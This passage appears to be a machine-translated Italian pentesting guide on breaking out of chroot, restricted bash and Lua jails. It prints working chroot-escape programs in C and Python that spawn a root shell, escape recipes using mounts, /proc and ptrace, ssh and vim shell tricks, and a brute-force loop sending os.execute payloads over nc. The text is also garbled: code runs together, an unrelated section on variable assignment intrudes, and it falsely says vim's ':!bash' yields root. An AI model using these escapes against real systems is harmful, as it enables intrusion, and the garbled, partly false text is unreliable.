Da wikipedia: Il meccanismo chroot non è inteso a difendersi da manomissioni intenzionali da parte di utenti privilegiati (root). Sui sistemi più comuni, i contesti chroot non si impilano correttamente e i programmi chrooted con privilegi sufficienti possono eseguire un secondo chroot per evadere.
Di solito ciò significa che per evadere è necessario essere root all'interno del chroot.
Lo strumentochw00t è stato creato per sfruttare gli scenari seguenti e sfuggire a chroot.
Root + CWD
Se sei root all'interno di un chroot puoi evadere creando un altro chroot. Questo perché due chroot non possono coesistere (in Linux), quindi se crei una cartella e poi crei un nuovo chroot in quella nuova cartella essendo fuori da essa, sarai ora fuori dal nuovo chroot e quindi sarai nel FS.
Ciò accade perché di solito chroot NON sposta la tua directory di lavoro in quella indicata, quindi puoi creare un chroot ma essere fuori da esso.
Di solito non troverai il binario chroot all'interno di una prigione chroot, ma potresti compilare, caricare ed eseguire un binario:
C: break_chroot.c
```c #include #include #include
//gcc break_chroot.c -o break_chroot
int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
</details>
<details>
<summary>Python</summary>
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
Questo è simile al caso precedente, ma in questo caso l'attaccante memorizza un file descriptor nella directory corrente e quindi crea il chroot in una nuova cartella. Infine, poiché ha accesso a quel FD all'esterno del chroot, vi accede e scappa.
</details>
### Root + Fork + UDS (Unix Domain Sockets)
<div data-gb-custom-block data-tag="hint" data-style='warning'>
I file descriptor possono essere passati tramite Unix Domain Sockets, quindi:
* Crea un processo figlio (fork)
* Crea un UDS in modo che il processo padre e il processo figlio possano comunicare
* Esegui chroot nel processo figlio in una cartella diversa
* Nel processo padre, crea un file descriptor di una cartella che si trova al di fuori del chroot del nuovo processo figlio
* Passa al processo figlio quel file descriptor utilizzando l'UDS
* Il processo figlio cambia la directory corrente a quella del file descriptor e, poiché si trova al di fuori del suo chroot, riesce a evadere la prigione
</div>
### Root + Mount
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Monta il dispositivo root (/) in una directory all'interno del chroot
* Esegui chroot in quella directory
Questo è possibile in Linux
</div>
### Root + /proc
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Monta procfs in una directory all'interno del chroot (se non è già montato)
* Cerca un pid che abbia una voce root/cwd diversa, ad esempio: /proc/1/root
* Esegui chroot in quella voce
</div>
### Root(?) + Fork
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Crea un fork (processo figlio) ed esegui chroot in una cartella diversa più profonda nel file system e cambia la directory corrente in essa
* Dal processo padre, sposta la cartella in cui si trova il processo figlio in una cartella precedente al chroot dei figli
* Questo processo figlio si troverà al di fuori del chroot
</div>
### ptrace
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Tempo fa gli utenti potevano eseguire il debug dei propri processi da un processo stesso... ma questo non è più possibile per impostazione predefinita
* Tuttavia, se è possibile, è possibile eseguire il ptrace su un processo ed eseguire un shellcode al suo interno ([vedi questo esempio](linux-capabilities.md#cap\_sys\_ptrace)).
</div>
## Bash Jails
### Enumerazione
Ottieni informazioni sulla prigione:
```bash
echo $SHELL
echo $PATH
env
export
pwd
Modifica del PATH
Verifica se puoi modificare la variabile di ambiente PATH.
echo $PATH #See the path of the executables that you can usePATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin#Try to change the pathecho/home/*#List directory
Utilizzo di vim
Vim è un potente editor di testo che può essere utilizzato per eseguire l'escalation dei privilegi in un sistema Linux limitato. Segui i passaggi seguenti per utilizzare vim per ottenere privilegi più elevati:
Apri una shell limitata utilizzando il comando bash -r.
Digita vim per avviare l'editor di testo vim.
Premi : per passare alla modalità di comando.
Digita ! seguito da un comando che ti consentirà di ottenere privilegi più elevati. Ad esempio, puoi utilizzare !bash per aprire una nuova shell con privilegi di root.
Premi Enter per eseguire il comando e ottenere privilegi più elevati.
Ora sei in grado di eseguire comandi con privilegi di root utilizzando la nuova shell aperta da vim.
Ricorda che l'utilizzo di vim per l'escalation dei privilegi richiede una shell limitata e l'accesso a vim stesso.
:setshell=/bin/sh:shell
Crea script
Verifica se puoi creare un file eseguibile con /bin/bash come contenuto
red/bin/bash> w wx/path #Write /bin/bash in a writable and executable path
Ottenere bash da SSH
Se stai accedendo tramite ssh, puoi utilizzare questo trucco per eseguire una shell bash:
ssh-tuser@<IP>bash# Get directly an interactive shellsshuser@<IP>-t"bash --noprofile -i"sshuser@<IP>-t"() { :; }; sh -i "
Dichiarazione
La dichiarazione è un comando utilizzato per assegnare un valore a una variabile in Bash. Viene utilizzato il seguente formato:
variabile=valore
Dove "variabile" è il nome della variabile e "valore" è il valore che si desidera assegnare ad essa.
Nota che ogni volta che esegui il precedente one-liner in un diverso ambiente lua, l'ordine delle funzioni cambia. Pertanto, se hai bisogno di eseguire una specifica funzione, puoi effettuare un attacco di forza bruta caricando diversi ambienti lua e chiamando la prima funzione della libreria "le".
#In this scenario you could BF the victim that is generating a new lua environment#for every interaction with the following line and when you are lucky#the char function is going to be executedfor k,chr in pairs(string) doprint(chr(0x6f,0x73,0x2e,0x65,0x78)) end#This attack from a CTF can be used to try to chain the function execute from "os" library#and "char" from string library, and the use both to execute a commandfor i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
Ottieni una shell interattiva di Lua: Se ti trovi all'interno di una shell di Lua limitata, puoi ottenere una nuova shell di Lua (e sperabilmente illimitata) chiamando:
